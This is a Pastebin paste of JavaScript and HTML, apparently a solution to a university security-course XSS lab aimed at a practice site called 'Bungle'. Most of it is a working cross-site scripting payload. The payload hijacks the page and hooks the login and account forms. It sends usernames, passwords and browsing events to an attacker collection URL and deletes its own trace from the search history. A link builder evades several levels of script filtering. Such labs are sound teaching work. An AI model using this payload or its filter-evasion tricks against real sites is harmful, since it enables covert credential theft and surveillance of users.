Advertisement
Guest User

Untitled

a guest
Mar 6th, 2018
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <meta charset="utf-8">
  2. <script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
  3. <script>
  4. // Extend this function:
  5. function payload(attacker) {
  6.     var target = 'http://bungle-cs461.csl.illinois.edu/';
  7.     function listen(href) {
  8.         bunglelnk(href)
  9.         search(href)
  10.         searchAgain(href)
  11.         searchHistory()
  12.         login()
  13.         create()
  14.         logout()
  15.         backforward()
  16.  
  17.     }
  18.  
  19.     function bunglelnk(href) {
  20.         $(/#bungle-lnk/.source).on(/click/.source, function(event) {
  21.             event.preventDefault()
  22.             history.pushState(null, null, href);
  23.             proxy(target)
  24.  
  25.         })
  26.     }
  27.  
  28.     function search(href) {
  29.         $(/#search-btn/.source).on(/click/.source, function(event) {
  30.             event.preventDefault()
  31.             history.pushState(null,null,href)
  32.             var query1 = $(/#query/.source).val()
  33.             var query = query1.replace(/\s/g, '+');
  34.             req = target + /search?q=/.source  + query
  35.             $.get(req, {q: query1}, function(){
  36.                 history.pushState(null, null, req);
  37.                 proxy(req)
  38.              })
  39.         })
  40.     }
  41.  
  42.     function searchAgain(href) {
  43.         $(/#search-again-btn/.source).on(/click/.source, function(event) {
  44.             event.preventDefault()
  45.             history.pushState(null, null, href);
  46.             proxy(target)
  47.         })
  48.     }
  49.     function searchHistory(){
  50.         var histlist = $(/#history-list/.source)
  51.         if(histlist.html())
  52.         {
  53.             histlist.children(/a/.source).each(function(index, element){
  54.                 var a = $(element)
  55.                 var b = /payload(attacker, target)/.source
  56.                 if(~a.html().indexOf(b))
  57.                     a.remove()
  58.                 a.on(/click/.source, function(event){
  59.                     event.preventDefault()
  60.                     var query1 = a.text()
  61.                     var query = query1.replace(/\s/g, '+');
  62.                     req = target + /search?q=/.source + query
  63.                     $.get(target+/search/.source, {q: query1}, function(){
  64.                         history.pushState(null,null,req)
  65.                         proxy(req)
  66.                     })
  67.                 })
  68.             })
  69.         }
  70.     }
  71.     function login() {
  72.         $(/#log-in-btn/.source).on(/click/.source, function(event) {
  73.             event.preventDefault()
  74.             var use = $(/#username/.source).val()
  75.             var pas = $(/#userpass/.source).val()
  76.             var event = /login/.source
  77.             $.post(target + event, {username: use, password: pas}, function() {
  78.                 log({event: event, user: use, pass: pas})
  79.                 proxy(String.fromCharCode(46, 47))
  80.             })
  81.         })
  82.     }
  83.  
  84.     function create() {
  85.         $(/#new-account-btn/.source).on(/click/.source, function(event) {
  86.             event.preventDefault()
  87.             var use = $(/#username/.source).val()
  88.             var pas = $(/#userpass/.source).val()
  89.             var event = /create/.source
  90.             $.post(target + event, {username: use, password: pas}, function() {
  91.                 proxy(target)
  92.             })
  93.         })
  94.     }
  95.  
  96.     function logout() {
  97.         $(/#log-out-btn/.source).on(/click/.source, function(event) {
  98.             event.preventDefault()
  99.             var use = $(/#logged-in-user/.source).text()
  100.             var event = /logout/.source
  101.             $.post(target +event, {}, function(){
  102.                 log({event: event, user: use})
  103.                 proxy(target)
  104.             })
  105.         })
  106.     }
  107.  
  108.     function backforward() {
  109.         window.onpopstate = function(event) {
  110.             proxy(window.location.href)
  111.         }
  112.  
  113.  
  114.     }
  115.  
  116.     function log(data) {
  117.         $.get(attacker, data);
  118.     }
  119.  
  120.     function proxy(href) {
  121.         history.replaceState(null, null, href);
  122.         $(/html/.source).load(href, function() {
  123.             $(/html/.source).show();
  124.             var use = $(/#logged-in-user/.source).text()
  125.             if(use)
  126.                 log({event: /nav/.source, user: use, url: href});
  127.             else
  128.                 log({event: /nav/.source, url: href});
  129.             listen(href);
  130.         })
  131.     }
  132.  
  133.     $(/html/.source).hide();
  134.  
  135.     proxy(String.fromCharCode(46, 47));
  136. }
  137.  
  138. function makeLink(xssdefense, target, attacker) {
  139.     //console.log("xssdefense = " + xssdefense);
  140.     switch (xssdefense) {
  141.         case 0:  // No defense.
  142.             return target + "./search?xssdefense=" + xssdefense.toString() + "&q=" +
  143.                 encodeURIComponent("<script" + ">" + payload.toString() +
  144.                     ";payload(\"" + attacker + "\");</script" + ">");
  145.             break;
  146.         case 1:  // Remove script tag.
  147.             return target + "./search?xssdefense=" + xssdefense.toString() + "&q=" +
  148.                 encodeURIComponent("<scrscriptipt" + ">" + payload.toString() +
  149.                     ";payload(\"" + attacker + "\");</scrscriptipt" + ">");
  150.             break;
  151.         case 2:  // Recursively remove script tag.
  152.             return target + "./search?xssdefense=" + xssdefense.toString() + "&q=" +
  153.                 encodeURIComponent("<body onload=\"" + payload.toString() +
  154.                     ";payload(\"" + attacker + "\");" + "\">");
  155.             break;
  156.         case 3:  // Recursively remove several tags.
  157.             return target + "./search?xssdefense=" + xssdefense.toString() + "&q=" +
  158.                 encodeURIComponent("<iframe onload=\"" + payload.toString() +
  159.                     ";payload(\"" + attacker + "\");\" style='width:0;height:0;border:0; border:none;'></iframe" + ">");
  160.             break;
  161.         case 4:  // Remove all quotes and semicolons.
  162.             return target + "./search?xssdefense=" + xssdefense.toString() + "&q=" +
  163.                 encodeURIComponent("<scrscriptipt" + ">" + payload.toString() +
  164.                     ";payload(\"" + attacker + "\");</scrscriptipt" + ">");
  165.             break;
  166.  
  167.     }
  168. }
  169.  
  170. var xssdefense = 1;
  171. var target = "http://bungle-cs461.csl.illinois.edu/";
  172. var attacker = "http://127.0.0.1:31337/stolen";
  173. $(function() {
  174.    
  175.     var url = makeLink(xssdefense, target, attacker);
  176.  
  177.     $("h3").html("<a target=\"run\" href=\"" + url + "\">Try Bungle!</a>");
  178. });
  179. </script>
  180. <h3></h3>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement